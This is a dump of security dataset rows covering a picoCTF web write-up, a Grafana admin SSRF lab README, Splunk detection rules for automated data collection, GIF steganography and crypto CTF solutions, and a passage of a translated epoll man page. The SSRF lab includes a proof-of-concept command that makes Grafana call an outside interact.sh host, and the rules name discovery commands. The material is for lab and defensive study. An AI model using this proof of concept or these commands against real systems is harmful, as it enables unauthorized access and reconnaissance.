text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# Help Me Reset 2
Web Exploitation, 600 points
## Description:
> There is a website running at http://2018shell3.picoctf.com:52603 (link). We need to get into any user for a flag!
## Solution:
The link led to a website which contained a login page, together with a "Forgot your password" mechanism.
The "Forgot your password" mechanism required a username to proceed.
None of the common usernames seemed to work, and both forms did not seem vulnerable to any common attacks.
At this point, I turned to some automated tools to scan the site. One of them was dirsearch, which scans the site for common URIs:
```console
# python3 dirsearch.py -u http://2018shell3.picoctf.com:52603/ -ext="*"
_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_| )
Extensions: xt=* | Threads: 10 | Wordlist size: 6040
Error Log: /root/utils/dirsearch/logs/errors-18-10-24_23-23-21.log
Target: http://2018shell3.picoctf.com:52603/
[23:23:22] Starting:
[23:31:20] 200 - 1019B - /login
[23:31:25] 302 - 209B - /logout -> http://2018shell3.picoctf.com:52603/
[23:33:21] 200 - 804B - /profile
[23:33:45] 200 - 899B - /reset
Task Completed
```
The profile page was accessible without any authentication needed:
```console
root@kali:/media/sf_CTFs/pico/Help_Me_Reset_2# curl -s http://2018shell3.picoctf.com:52603/profile | grep pico
<title>Congrats flag: picoCTF{i_thought_i_could_remember_those_a131a54c}</title>
<h1>Congrats flag: picoCTF{i_thought_i_could_remember_those_a131a54c}</h1>
```
This is ironic, given the fact that the hint to the challenge says "Try looking past the typical vulnerabilities. Think about possible programming mistakes" and the expected solution (according to other writeups) is to use the maintainer username as appears in the site comments:
```console
root@kali:/media/sf_CTFs/pico/Help_Me_Reset_2# curl -s http://2018shell3.picoctf.com:52603/ | grep maintained
<!--Proudly maintained by goncalves-->
```
The flag: picoCTF{i_thought_i_could_remember_those_a131a54c}
|
sec-knowleage
|
# Grafana Admin Portal SSRF
[中文版本(Chinese Version)](README.zh-cn.md)
Grafana is a multi-platform open source analytics and interactive visualization web application.
The admin user is able to make requests to an unintended location in all versions of Grafana.
References:
- <https://github.com/RandomRobbieBF/grafana-ssrf>
## Vulnerable environment
Execute following command to start a Grafana 8.5.4:
```
docker compose up -d
```
Then you can see the portal page for Grafana without the authentication in `http://your-ip:3000`, because this server enabled the anonymous as admins by:
```ini
[auth.anonymous]
enabled = true
org_role = Admin
```
If Grafana ask you for user credentials in real world, can try default `admin` and `admin`.
## Vulnerability Reproduce
Use [this POC](https://github.com/RandomRobbieBF/grafana-ssrf) to reproduce the SSRF:
```
python grafana-ssrf.py -H http://your-ip:3000 -u http://example.interact.sh/attack
```

As you can see, I got the request from Grafana:

|
sec-knowleage
|
# T1119-win-自动收集
## 来自ATT&CK的描述
一旦在系统或网络中建立立足点,攻击者就可以使用自动化技术来收集内部数。执行此技术的方法可以包括使用命令和脚本解释器来搜索和复制适合标准的信息(指符合攻击者收集的数据),例如在特定时间间隔的文件类型,位置或名称。此功能也可以内置到远程访问工具中。
该技术可以结合使用其他技术,例如文件和目录发现以及横向工具传输,以识别和移动文件。
## 测试案例
暂无,可参考相关自动化收集powershell脚本
## 检测日志
Windows安全日志、sysmon日志
## 测试复现
暂无,可参考相关自动化收集powershell脚本
## 测试留痕
暂无
## 检测规则/思路
### splunk规则
根据所使用的方法,操作可能包括批处理文件或脚本中命令行界面上的公用文件系统命令和参数。取决于系统和网络环境,类似的一系列操作可能会很不正常。自动收集可能会与其他技术(例如数据暂存)一起发生。这样,文件访问监视显示了执行顺序文件打开的异常过程,并且有可能一次将动作复制到多个文件的文件系统上的另一个位置,这可能表示自动收集行为。具有内置功能的远程访问工具可以直接与Windows API交互以收集数据。也可以通过Windows系统管理工具(例如Windows Management Instrumentation和PowerShell)来获取数据。
```yml
“index=windows source=””WinEventLog:Microsoft-Windows-Sysmon/Operational”” (EventCode=1 Image=””*\\findstr.exe”” CommandLine=””*/e*””) //findstr used to search for a specefic file extension index=windows SourceName=””Microsoft-Windows-PowerShell”” Message=””*get-childitem*”” //search for specefic file with get-childitem in powershell
index=windows SourceName=””Microsoft-Windows-PowerShell”” Message=””*Get-ChildItem -Recurse *”” //search for specefic file recursivly with get-childitem in powershell
index=windows SourceName=””Microsoft-Windows-PowerShell”” Message=””*Get-Service*”” //get service information with powershell
index=windows SourceName=””Microsoft-Windows-PowerShell”” Message=””*Get-process*”” //get process information with powershell
index=windows source=””WinEventLog:Microsoft-Windows-Sysmon/Operational”” (EventCode=1 Image=””*\\sc.exe”” CommandLine=””*query*””) //get service list with sc.exe
index=windows source=””WinEventLog:Microsoft-Windows-Sysmon/Operational”” (EventCode=1 Image=””*\\wmic.exe”” CommandLine=*Process list*) //get process list with wmic.exe
index=windows source=””WinEventLog:Microsoft-Windows-Sysmon/Operational”” (EventCode=1 Image=””*\\wmic.exe”” CommandLine=*service list*) //get service list with wmic.exe
```
### 建议
如果你对windows以及powershell比较了解的话,你可以使用Windows日志以及powershell日志来完成监视检测,当然最好的方法是使用Sysmon日志。
## 相关TIP
[[T1119-win-Seatbelt自动收集信息]]
## 参考推荐
MITRE-ATT&CK-T1119
<https://attack.mitre.org/techniques/T1119/>
|
sec-knowleage
|
# GIF
## 文件结构
一个GIF文件的结构可分为
- 文件头(File Header)
- GIF 文件署名(Signature)
- 版本号(Version)
- GIF 数据流(GIF Data Stream)
- 控制标识符
- 图象块(Image Block)
- 其他的一些扩展块
- 文件终结器(Trailer)
下表显示了一个 GIF 文件的组成结构:
中间的那个大块可以被重复任意次
### 文件头
GIF 署名(Signature)和版本号(Version)。GIF 署名用来确认一个文件是否是 GIF 格式的文件,这一部分由三个字符组成:`GIF`;文件版本号也是由三个字节组成,可以为 `87a` 或 `89a`。
### 逻辑屏幕标识符(Logical Screen Descriptor)
Logical Screen Descriptor(逻辑屏幕描述符)紧跟在 header 后面。这个块告诉 decoder(解码器)图片需要占用的空间。它的大小固定为 7 个字节,以 canvas width(画布宽度)和 canvas height(画布高度)开始。
### 全局颜色列表(Global Color Table)
GIF格式可以拥有global color table,或用于针对每个子图片集,提供local color table。每个color
table由一个RGB(就像通常我们见到的(255,0,0)红色 那种)列表组成。
### 图像标识符(Image Descriptor)
一个 GIF 文件一般包含多个图片。之前的图片渲染模式一般是将多个图片绘制到一个大的(virtual
canvas)虚拟画布上,而现在一般将这些图片集用于实现动画。
每个 image 都以一个 image descriptor block(图像描述块)作为开头,这个块固定为 10 字节。
### 图像数据(Image Data)
终于到了图片数据实际存储的地方。Image Data是由一系列的输出编码(output codes)构成,它们告诉decoder(解码器)需要绘制在画布上的每个颜色信息。这些编码以字节码的形式组织在这个块中。
### 文件终结器(Trailer)
该块为一个单字段块,用来指示该数据流的结束。取固定值0x3b.
更多参见 [gif 格式图片详细解析](http://www.jianshu.com/p/df52f1511cf8)
## 空间轴
由于GIF的动态特性,由一帧帧的图片构成,所以每一帧的图片,多帧图片间的结合,都成了隐藏信息的一种载体。
对于需要分离的GIF文件,可以使用`convert`命令将其每一帧分割开来
```console
$ convert cake.gif cake.png
$ ls
cake-0.png cake-1.png cake-2.png cake-3.png cake.gif
```
### 例题
> WDCTF-2017:3-2
打开gif后,思路很清晰,分离每一帧图片后,将起合并得到完整的二维码即可
```python
from PIL import Image
flag = Image.new("RGB",(450,450))
for i in range(2):
for j in range(2):
pot = "cake-{}.png".format(j+i*2)
potImage = Image.open(pot)
flag.paste(potImage,(j*225,i*225))
flag.save('./flag.png')
```
扫码后得到一串16进制字符串
`03f30d0ab8c1aa5....74080006030908`
开头`03f3`为`pyc`文件的头,恢复为`python`脚本后直接运行得到flag
## 时间轴
GIF文件每一帧间的时间间隔也可以作为信息隐藏的载体。
例如在当时在XMan选拔赛出的一题
> XMAN-2017:100.gif
通过`identify`命令清晰的打印出每一帧的时间间隔
```shell
$ identify -format "%s %T \n" 100.gif
0 66
1 66
2 20
3 10
4 20
5 10
6 10
7 20
8 20
9 20
10 20
11 10
12 20
13 20
14 10
15 10
```
推断 `20 & 10` 分别代表 `0 & 1`,提取每一帧间隔并进行转化。
```shell
$ cat flag|cut -d ' ' -f 2|tr -d '66'|tr -d '\n'|tr -d '0'|tr '2' '0'
0101100001001101010000010100111001111011001110010011011000110101001101110011010101100010011001010110010101100100001101000110010001100101011000010011000100111000011001000110010101100100001101000011011100110011001101010011011000110100001100110110000101100101011000110110011001100001001100110011010101111101#
```
最后转 ASCII 码得到 flag。
## 隐写软件
- [F5-steganography](https://github.com/matthewgao/F5-steganography)
|
sec-knowleage
|
# coding: utf-8
import hashlib
import string
class SymbolicXor:
def __init__(self, ops, const=0):
if isinstance(ops, str):
ops = [ops]
self.ops = sorted(ops)
self.const = const
def __xor__(self, other):
if isinstance(other, int):
return SymbolicXor(self.ops, self.const ^ other)
elif isinstance(other, SymbolicXor):
return SymbolicXor(self.setxor(self.ops, other.ops), self.const ^ other.const)
__rxor__ = __xor__
def setxor(self, a, b):
out = list(a)
for el in b:
if el in out:
out.remove(el)
else:
out.append(el)
return out
def __str__(self):
if self.const == 0 and not self.ops:
return '0'
return '^'.join(str(c) for c in self.ops + ([self.const] if self.const else []))
__repr__ = __str__
def __eq__(self, oth):
return self.ops == oth.ops and self.const == oth.const
def chunks(d, n):
return [d[i*n:(i+1)*n] for i in range(len(d)/n)]
def xor(a, b):
return ''.join(chr(ord(ac) ^ ord(bc)) for ac, bc in zip(a, b))
data0 = """
F1 64 72 4A 4F 48 4D BA 77 73 1D 34 F5 AF B8 0F
24 56 11 65 47 A3 2F 73 A4 56 4F 70 4A 13 57 9C
3F 6F 06 61 40 90 AF 39 10 29 34 C3 00 7A 40 3D
4E 3F 0E 2A 2F 20 7F 73 89 7D 4B 1D 09 AA D0 00
21 89 4D 2A 67 7C 18 3B 39 F2 8D 1C A7 71 57 2E
31 14 67 48 3C 7D AF 70 AE 10 31 68 D1 26 05 C8
25 F2 62 F5 5D 38 34 F2 20 0E 7E 9F FB 57 72 26
57 67 15 10 15 13 B9 3E 79 89 5D 24 12 01 98 7B
18 25 E0 DF 7C 24 1B 2D 44 B0 10 3D 57 3D 62 B4
21 1D 3E D1 10 D7 45 74 96 2B 6D 3B ED 10 00 67
31 DF 6C B8 86 1A 7C 6B 64 78 C6 37 76 E6 61 A0
AD BE 4C BA A7 0D
""".replace('\n', '').replace(' ', '').decode('hex')
data1 = """
08 4F FE AB 4E AA B4 03 4D 99 6E A1 48 D0 7D A2
E0 49 38 61 2D BC 5E 2C 5D 62 3F 89 C6 B8 5C 5A
4B 13 41 07 DF BF C2 29 07 64 14 25 32 00 73 69
2D 58 4B 76 15 29 2F A1 00 00 00 00 00 00 00 00
""".replace('\n', '').replace(' ', '').decode('hex')
def encrypt_chunks(data, passw, k, sd, s0, st):
"""
encrypt chunks with size k
start with [s0 bytes from front] [k-s0 bytes from back]
start with s=s0
after every round add sd to s
when s == st, change s to s0 again
"""
buff = [0] * 16
split = s0
of = 0
ob = len(data)
for i in range(len(data) / k):
for j in range(split):
buff[j + k - split] = data[j + of]
for j in range(k - split):
buff[j] = data[split + ob - k + j]
for j in range(k):
buff[j] ^= passw[j]
for j in range(split):
data[j + of] = buff[j]
for j in range(k - split):
data[split + ob - k + j] = buff[j + split]
of += split
ob -= k - split
if split == st:
split = s0
else:
split += sd
def decrypt_chunks(data, passw, k, sd, s0, st):
"""
encrypt chunks with size k
start with [s0 bytes from front] [k-s0 bytes from back]
start with s=s0
after every round add sd to s
when s == st, change s to s0 again
"""
buff = [0] * 16
split = s0
of = 0
ob = len(data)
for i in range(len(data) / k):
for j in range(split):
buff[j] = data[j + of]
for j in range(k - split):
buff[j + split] = data[split + ob - k + j]
for j in range(k):
buff[j] ^= passw[j]
for j in range(split):
data[j + of] = buff[j + k - split]
for j in range(k - split):
data[split + ob - k + j] = buff[j]
of += split
ob -= k - split
if split == st:
split = s0
else:
split += sd
def decrypt(data, passw):
pass1 = [passw[2*i+1] for i in range(5)]
decrypt_chunks(data, passw, 7, 2, 3, 7)
decrypt_chunks(data, pass1, 5, -1, 5, 1)
decrypt_chunks(data, passw, 10, 1, 4, 8)
decrypt_chunks(data, passw, 10, 1, 4, 8)
def encrypt(data, passw):
pass1 = [passw[2*i+1] for i in range(5)]
encrypt_chunks(data, passw, 10, 1, 4, 8)
encrypt_chunks(data, passw, 10, 1, 4, 8)
encrypt_chunks(data, pass1, 5, -1, 5, 1)
encrypt_chunks(data, passw, 7, 2, 3, 7)
def make_sympad(syms):
passw = [SymbolicXor('v'+str(i)) for i in range(16)]
pad = map(ord, '\0' * syms)
decrypt(pad, passw)
return pad
def permute(data):
perm = map(ord, data)
decrypt(perm, [0]*16)
return ''.join(map(chr, perm))
def transform(data, maps):
maps = expand_maps(maps)
# pad - zaszyfrowane i spermutowane zera - czyli sam "one time pad" wygenerowany z hasła
pad = make_sympad(len(data))
# perm - permutacja zaszyfrowanych danych tak, żeby były w oryginalnej kolejnosci
perm = permute(data)
#for i in range(len(data)):
# a = pad[i]
# print perm[i].encode('hex'), a
out = ''
for i in range(len(data)):
a = pad[i]
#print perm[i].encode('hex'),
for con, sym in maps:
if sym == a:
#print chr(ord(perm[i]) ^ con).encode('hex'), a
#print chr(ord(perm[i]) ^ con), a
c = chr(ord(perm[i]) ^ con)
if c not in string.printable:
return None
out += c
break
else:
#print '?', a
out += '?'
return out
def expand_maps(maps):
while True:
maps2 = list(maps)
changed = False
for iv0, sym0 in maps:
for iv1, sym1 in maps:
m2 = iv0^iv1, sym0^sym1
if m2 not in maps2:
maps2.append(m2)
changed = True
if not changed:
syms = set()
for c, s in maps2:
syms.add(str(s))
if len(syms) != len(maps2):
raise RuntimeError('Unconsistent maps')
return maps2
maps = maps2
passw = map(ord, 'satan loves you and your children and your cat')
encrypt(passw, range(16))
data_test = ''.join(chr(c) for c in passw)
#maps = [
# (0, SymbolicXor([])),
# (7, SymbolicXor(['v2', 'v5'])),
# (1, SymbolicXor(['v2', 'v3'])),
#]
#transform(passw, maps)
#exit(0)
#maps0 = [
# (0, SymbolicXor([])),
# ((0x55 ^ 0x0d), SymbolicXor(['v5', 'v2'])), # push rbp
# ((0x48 ^ 0x48), SymbolicXor(['v2', 'v3'])), # mov rbp, rsp
# ((0x89 ^ 0xf5), SymbolicXor(['v1', 'v8'])),
# ((0xe5 ^ 0xaf), SymbolicXor(['v3', 'v9'])),
# ((0x48 ^ 0x4d), SymbolicXor(['v0', 'v3', 'v5', 'v9'])), # lea rdi [stuff]
# ((0x8d ^ 0xad), SymbolicXor(['v1', 'v3', 'v5', 'v6'])),
# ((0x3d ^ 0xbe), SymbolicXor(['v2', 'v5', 'v6', 'v7'])),
#]
#transform(data0, maps)
#exit(0)
def known_plaintext(data, what):
syms = make_sympad(len(data))
perm = permute(data)
for i in range(len(data) - len(what)):
try:
maps = [
(0, SymbolicXor([])),
]
for j in range(len(what)):
maps.append( (ord(what[j]) ^ ord(perm[i+j]), syms[i+j]) )
t = transform(data, maps)
print i, 'ok', t
except RuntimeError:
print i, 'inconsistent'
def known_plaintext2(data, what, what1):
syms = make_sympad(len(data))
perm = permute(data)
for i in range(len(data) - len(what)):
maps = [
(0, SymbolicXor([])),
]
for j in range(len(what)):
maps.append( (ord(what[j]) ^ ord(perm[i+j]), syms[i+j]) )
maps0 = list(maps)
for i2 in range(i+len(what), len(data) - len(what1)):
try:
maps = list(maps0)
for j in range(len(what1)):
maps.append((ord(what1[j]) ^ ord(perm[i2+j]), syms[i2+j]))
t = transform(data, maps)
print i, i2, 'ok', t
except RuntimeError:
print i, 'inconsistent'
#known_plaintext(data_test, 'satan lov')
#known_plaintext2(data_test, 'satan', 'lov')
#exit(0)
#known_plaintext(data1, 'FLAG{')
known_plaintext2(data1, 'FLAG{', 'cat')
exit(0)
transform(data1, [
(0, SymbolicXor([])),
#(ord('F') ^ 0x00, SymbolicXor(['v2', 'v5'])),
#(ord('L') ^ 0xAA, SymbolicXor(['v2', 'v3'])),
#(ord('A') ^ 0x48, SymbolicXor(['v1', 'v8'])),
#(ord('G') ^ 0xd0, SymbolicXor(['v3', 'v9'])),
])
|
sec-knowleage
|
.\" Copyright (C) 2003 Davide Libenzi
.\"
.\" %%%LICENSE_START(GPLv2+_SW_3_PARA)
.\" This program is free software; you can redistribute it and/or modify
.\" it under the terms of the GNU General Public License as published by
.\" the Free Software Foundation; either version 2 of the License, or
.\" (at your option) any later version.
.\"
.\" This program is distributed in the hope that it will be useful,
.\" but WITHOUT ANY WARRANTY; without even the implied warranty of
.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
.\" GNU General Public License for more details.
.\"
.\" You should have received a copy of the GNU General Public
.\" License along with this manual; if not, see
.\" <http://www.gnu.org/licenses/>.
.\" %%%LICENSE_END
.\"
.\" Davide Libenzi <davidel@xmailserver.org>
.\"
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH EPOLL 7 2021\-03\-22 Linux "Linux Programmer's Manual"
.SH 名称
epoll \- I/O 事件通知设施
.SH 概要
.nf
\fB#include <sys/epoll.h>\fP
.fi
.SH 说明
\fBepoll\fP API 的任务与 \fBpoll\fP(2) 类似:监控多个文件描述符,找出其中可以进行I/O 的文件描述符。 \fBepoll\fP API
既可以作为边缘触发(edge\-triggered)的接口使用,也可以作为水平触发(level\-triggered)的接口使用,并能很好地扩展,监视大量文件描述符。
.PP
\fBepoll\fP API 的核心概念是 \fBepoll\fP \fI实例\fP(\fBepoll\fP
\fIinstance\fP),这是内核的一个内部数据结构,从用户空间的角度看,它可以被看作一个内含两个列表的容器:
.IP \(bu 2
\fI兴趣\fP列表(\fIinterest\fP list,有时也称为 \fBepoll\fP 集(\fBepoll\fP
set)):进程注册了“监控兴趣”的文件描述符的集合。
.IP \(bu
\fI就绪\fP列表(\fIready\fP list):“准备好”进行 I/O
的文件描述符的集合。就绪列表是兴趣列表中的文件描述符的子集(或者更准确地说,是其引用的集合)。内核会根据这些文件描述符上的 I/O
活动动态地填充就绪列表。
.PP
下列系统调用可用于创建和管理 \fBepoll\fP 实例:
.IP \(bu 2
\fBepoll_create\fP(2) 会创建一个新的 \fBepoll\fP 实例,并返回一个指向该实例的文件描述符。(最新的
\fBepoll_create1\fP(2) 扩展了 \fBepoll_create\fP(2) 的功能。)
.IP \(bu
\fBepoll_ctl\fP(2) 能向 \fBepoll\fP 实例的兴趣列表中添加项目,注册对特定文件描述符的兴趣。
.IP \(bu
.\"
\fBepoll_wait\fP(2) 会等待 I/O 事件,如果当前没有事件可用,则阻塞调用它的线程。(此系统调用可被看作从 \fBepoll\fP
实例的就绪列表中获取项目。)
.SS 水平触发与边缘触发
\fBepoll\fP 事件的分发接口既可以表现为边缘触发(ET),也可以表现为水平触发(LT)。这两种机制的区别描述如下。假设发生下列情况:
.IP 1. 3
读取方在 \fBepoll\fP 实例中注册代表管道读取端(\fIrfd\fP)的文件描述符。
.IP 2.
写入方在管道的写入端写入 2 kB 的数据。
.IP 3.
读取方调用 \fBepoll_wait\fP(2), \fIrfd\fP 作为一个就绪的文件描述符被返回。
.IP 4.
读取方只从 \fIrfd\fP 中读取 1 kB 的数据。
.IP 5.
读取方再次调用 \fBepoll_wait\fP(2)。
.PP
如果读取方添加 \fIrfd\fP 到 \fBepoll\fP 接口时使用了 \fBEPOLLET\fP
(边缘触发)标志位,那么纵使此刻文件输入缓冲区中仍有可用的数据(剩余的1 KB 数据),步骤\fB5\fP中的\fBepoll_wait\fP(2)
调用仍可能会挂起;与此同时,写入方可能在等待读取方对它发送的数据的响应。造成这种互相等待的情形的原因是边缘触发模式只有在被监控的文件描述符发生变化时才会递送事件。因此,在步骤\fB5\fP中,读取方最终可能会为一些已经存在于自己输入缓冲区内的数据一直等下去。在上面的例子中,由于写入方在第\fB2\fP步中进行了写操作,
\fIrfd\fP
上产生了一个事件,这个事件在第\fB3\fP步中被读取方消耗了。但读取方在第\fB4\fP步中进行的读操作却没有消耗完整个缓冲区的数据,因此在第\fB5\fP步中对\fBepoll_wait\fP(2)
的调用可能会无限期地阻塞。
.PP
使用 \fBEPOLLET\fP
标志位的应用程序应当使用非阻塞的文件描述符,以避免(因事件被消耗而)使正在处理多个文件描述符的任务因阻塞的读或写而出现饥饿。将
\fBepoll\fP用作边缘触发(\fBEPOLLET\fP)的接口,建议的使用方法如下:
.IP a) 3
使用非阻塞的文件描述符;
.IP b)
只在 \fBread\fP(2) 或 \fBwrite\fP(2) 返回 \fBEAGAIN\fP 后再等待新的事件。
.PP
相较而言,当作为水平触发的接口使用时(默认情况,没有指定 \fBEPOLLET\fP), \fBepoll\fP只是一个更快的
\fBpoll\fP(2),可以用在任何能使用 \fBpoll\fP(2) 的地方,因为此时两者的语义相同。
.PP
即使是边缘触发的 \fBepoll\fP,在收到多个数据块时也可能产生多个事件,因此调用者可以指定 \fBEPOLLONESHOT\fP 标志位,告诉
\fBepoll\fP 在自己用 \fBepoll_wait\fP(2)收到事件后禁用相关的文件描述符。当指定了 \fBEPOLLONESHOT\fP
标志位时,调用者可使用\fBepoll_ctl\fP(2) 与 \fBEPOLL_CTL_MOD\fP
标志位重装(rearm)一个被禁用的文件描述符,这是调用者而不是 \fBepoll\fP 的责任。
.PP
.\"
如果多个线程(或进程,如果子进程通过 \fBfork\fP(2) 继承了 \fBepoll\fP 文件描述符)等待同一个 epoll 文件描述符,且同时在
\fBepoll_wait\fP(2) 中被阻塞,那么当兴趣列表中某个标记为边缘触发 (\fBEPOLLET\fP)
通知的文件描述符准备就绪,这些线程(或进程)中只会有一个线程(或进程)从 \fBepoll_wait\fP(2)
中被唤醒。这为避免某些场景下的“惊群”(thundering herd)唤醒提供了有用的优化。
.SS 系统自动睡眠的处理
如果系统通过 \fI/sys/power/autosleep\fP 处于 \fBautosleep\fP
模式,那么当某个事件的发生将设备从睡眠中唤醒时,设备驱动程序仅会保持设备唤醒直到该事件入队为止。若想保持设备唤醒直到事件被处理完毕,则需使用
\fBepoll_ctl\fP(2) 的 \fBEPOLLWAKEUP\fP标志位。
.PP
当在 \fIstruct epoll_event\fP 结构体的 \fBevents\fP 段中设置 \fBEPOLLWAKEUP\fP标志位时,从事件入队的那一刻起,到
\fBepoll_wait\fP(2) 调用返回事件,再一直到下一次 \fBepoll_wait\fP(2)
调用之前,系统会一直保持唤醒。若要让事件保持系统唤醒的时间超过这个时间,那么在第二次 \fBepoll_wait\fP(2)
调用之前,应当设置一个单独的\fIwake_lock\fP。
.SS "/proc 接口"
.\" Following was added in 2.6.28, but them removed in 2.6.29
.\" .TP
.\" .IR /proc/sys/fs/epoll/max_user_instances " (since Linux 2.6.28)"
.\" This specifies an upper limit on the number of epoll instances
.\" that can be created per real user ID.
以下接口可以用来限制 epoll 消耗的内核内存的量。
.TP
\fI/proc/sys/fs/epoll/max_user_watches\fP (从 Linux 2.6.28 开始)
.\" 2.6.29 (in 2.6.28, the default was 1/32 of lowmem)
此接口指定了单个用户在系统内所有 epoll
实例中可以注册的文件描述符的总数限制。这个限制是针对每个真实用户ID的。每个注册的文件描述符在32位内核上大约需要90个字节,在64位内核上大约需要160个字节。目前,
\fImax_user_watches\fP 的默认值是可用低内存的1/25(4%)除以注册的空间成本(以字节计)。
.SS "示例:建议的使用 epoll 的方式"
\fBepoll\fP 作为水平触发接口的用法与 \fBpoll\fP(2)
具有相同的语义,但边缘触发的用法需要更多的说明,以避免应用程序事件循环的停滞。在下面的例子中,调用了 \fBlisten\fP(2)来监听
listener,一个非阻塞的套接字。函数 \fIdo_use_fd()\fP 使用新就绪的文件描述符,直到 \fBread\fP(2) 或 \fBwrite\fP(2)
返回 \fBEAGAIN\fP。一个事件驱动的状态机应用程序在接收到 \fBEAGAIN\fP
后,应该记录它的当前状态,这样在下一次调用\fIdo_use_fd()\fP 时,它就能从之前停下的地方继续 \fBread\fP(2) 或
\fBwrite\fP(2)。
.PP
.in +4n
.EX
#define MAX_EVENTS 10
struct epoll_event ev, events[MAX_EVENTS];
int listen_sock, conn_sock, nfds, epollfd;
/* Code to set up listening socket, \(aqlisten_sock\(aq,
(socket(), bind(), listen()) omitted. */
epollfd = epoll_create1(0);
if (epollfd == \-1) {
perror("epoll_create1");
exit(EXIT_FAILURE);
}
ev.events = EPOLLIN;
ev.data.fd = listen_sock;
if (epoll_ctl(epollfd, EPOLL_CTL_ADD, listen_sock, &ev) == \-1) {
perror("epoll_ctl: listen_sock");
exit(EXIT_FAILURE);
}
for (;;) {
nfds = epoll_wait(epollfd, events, MAX_EVENTS, \-1);
if (nfds == \-1) {
perror("epoll_wait");
exit(EXIT_FAILURE);
}
for (n = 0; n < nfds; ++n) {
if (events[n].data.fd == listen_sock) {
conn_sock = accept(listen_sock,
(struct sockaddr *) &addr, &addrlen);
if (conn_sock == \-1) {
perror("accept");
exit(EXIT_FAILURE);
}
setnonblocking(conn_sock);
ev.events = EPOLLIN | EPOLLET;
ev.data.fd = conn_sock;
if (epoll_ctl(epollfd, EPOLL_CTL_ADD, conn_sock,
&ev) == \-1) {
perror("epoll_ctl: conn_sock");
exit(EXIT_FAILURE);
}
} else {
do_use_fd(events[n].data.fd);
}
}
}
.EE
.in
.PP
当作为边缘触发的接口使用时,出于性能考虑,可在添加文件描述符(\fBEPOLL_CTL_ADD\fP)时指定
(\fBEPOLLIN\fP|\fBEPOLLOUT\fP)。这样可以避免反复调用 \fBepoll_ctl\fP(2) 与\fBEPOLL_CTL_MOD\fP 在
\fBEPOLLIN\fP 和 \fBEPOLLOUT\fP 之间来回切换。
.SS "epoll 十问"
.IP 0. 4
用什么区分兴趣列表中注册的文件描述符?
.IP
文件描述符的数值和打开文件描述(open file description,又称“open file
handle”,内核对打开的文件的内部表示)的组合。
.IP 1.
如果在同一个 \fBepoll\fP 实例上多次注册相同的文件描述符会怎样?
.IP
.\" But a file descriptor duplicated by fork(2) can't be added to the
.\" set, because the [file *, fd] pair is already in the epoll set.
.\" That is a somewhat ugly inconsistency. On the one hand, a child process
.\" cannot add the duplicate file descriptor to the epoll set. (In every
.\" other case that I can think of, file descriptors duplicated by fork have
.\" similar semantics to file descriptors duplicated by dup() and friends.) On
.\" the other hand, the very fact that the child has a duplicate of the
.\" file descriptor means that even if the parent closes its file descriptor,
.\" then epoll_wait() in the parent will continue to receive notifications for
.\" that file descriptor because of the duplicated file descriptor in the child.
.\"
.\" See http://thread.gmane.org/gmane.linux.kernel/596462/
.\" "epoll design problems with common fork/exec patterns"
.\"
.\" mtk, Feb 2008
你可能会得到 \fBEEXIST\fP。然而,在同一个epoll实例上添加重复的(\fBdup\fP(2),\fBdup2\fP(2), \fBfcntl\fP(2)
\fBF_DUPFD\fP)文件描述符是可能的。如果重复的文件描述符是用不同的事件掩码(\fIevents\fP
mask)注册的,那么这会成为过滤事件的一个实用技巧。
.IP 2.
多个 \fBepoll\fP 实例能等待同一个文件描述符吗?如果可以,事件会被报告给所有的这些\fBepoll\fP 文件描述符吗?
.IP
能,而且事件会被报告给所有的实例。但你可能需要小心仔细地编程才能正确地实现这一点。
.IP 3.
\fBepoll\fP 文件描述符本身 poll/epoll/selectable 吗?
.IP
是的,如果一个 \fBepoll\fP 文件描述符有事件在等待,那么它将显示为可读。
.IP 4.
如果试图把 \fBepoll\fP 文件描述符放到它自己的文件描述符集合中会发生什么?
.IP
\fBepoll_ctl\fP(2) 调用会失败(\fBEINVAL\fP)。但你可以将一个 \fBepoll\fP 文件描述符添加到另一个 \fBepoll\fP
文件描述符集合中。
.IP 5.
我可以通过 UNIX 域套接字发送一个 \fBepoll\fP 文件描述符到另一个进程吗?
.IP
可以,但这样做是没有意义的,因为接收进程不会得到兴趣列表中文件描述符的副本。
.IP 6.
关闭一个文件描述符会将它从所有 \fBepoll\fP 兴趣列表中移除吗?
.IP
会,但要注意几点。文件描述符是对打开文件描述(open file description)的引用(见 \fBopen\fP(2))。每当通过
\fBdup\fP(2), \fBdup2\fP(2), \fBfcntl\fP(2) \fBF_DUPFD\fP,或 \fBfork\fP(2)
复制某个文件描述符时,都会创建一个新的文件描述符,引用同一个打开文件描述。一个打开文件描述会在所有引用它的文件描述符被关闭之前一直存在。
.IP
一个文件描述符只有在所有指向其依赖的打开文件描述的文件描述符都被关闭后才会从兴趣列表中移除。这意味着,即使兴趣列表内的某个文件描述符被关闭了,如果引用同一文件描述的其他文件描述符仍然开着,则该文件描述符的事件仍可能会通知。为了防止这种情况发生,在复制文件描述符前,必须显式地将其从兴趣列表中移除(使用\fBepoll_ctl\fP(2)
\fBEPOLL_CTL_DEL\fP)。或者应用程序必须能确保所有的文件描述符都被关闭(如果文件描述符是被使用 \fBdup\fP(2) 或 \fBfork\fP(2)
的库函数隐式复制的,这一点可能会很难保证)。
.IP 7.
如果在两次 \fBepoll_wait\fP(2) 调用之间发生了不止一个事件,它们是会一起报告还是会分开报告?
.IP
它们会一起报告。
.IP 8.
对文件描述符的操作会影响已经收集到但尚未报告的事件吗?
.IP
你可以对某个现有的文件描述符做删除和修改两种操作:删除,对这种情况没有意义;修改,将重新读取可用的 I/O。
.IP 9.
当使用 \fBEPOLLET\fP 标志位(边缘触发行为)时,我需要持续读/写文件描述符,直到\fBEAGAIN\fP 吗?
.IP
从 \fBepoll_wait\fP(2) 收到的事件会提示你,对应的文件描述符已经准备好进行所要求的I/O 操作。直到下一次(非阻塞的)读/写产生
\fBEAGAIN\fP 之前,此文件描述符都应被认为是就绪的。何时及如何使用该文件描述符完全取决于你。
.IP
对于面向数据包/令牌的文件(如数据报套接字、典型模式(canonical mode)下的终端),感知读/写 I/O 空间尽头的唯一方法是持续读/写直到
\fBEAGAIN\fP。
.IP
对于面向流的文件(如管道、FIFO、流套接字),也可通过检查从目标文件描述符读/写的数据量来检测读/写 I/O 空间消费完的情况。例如,如果你在调用
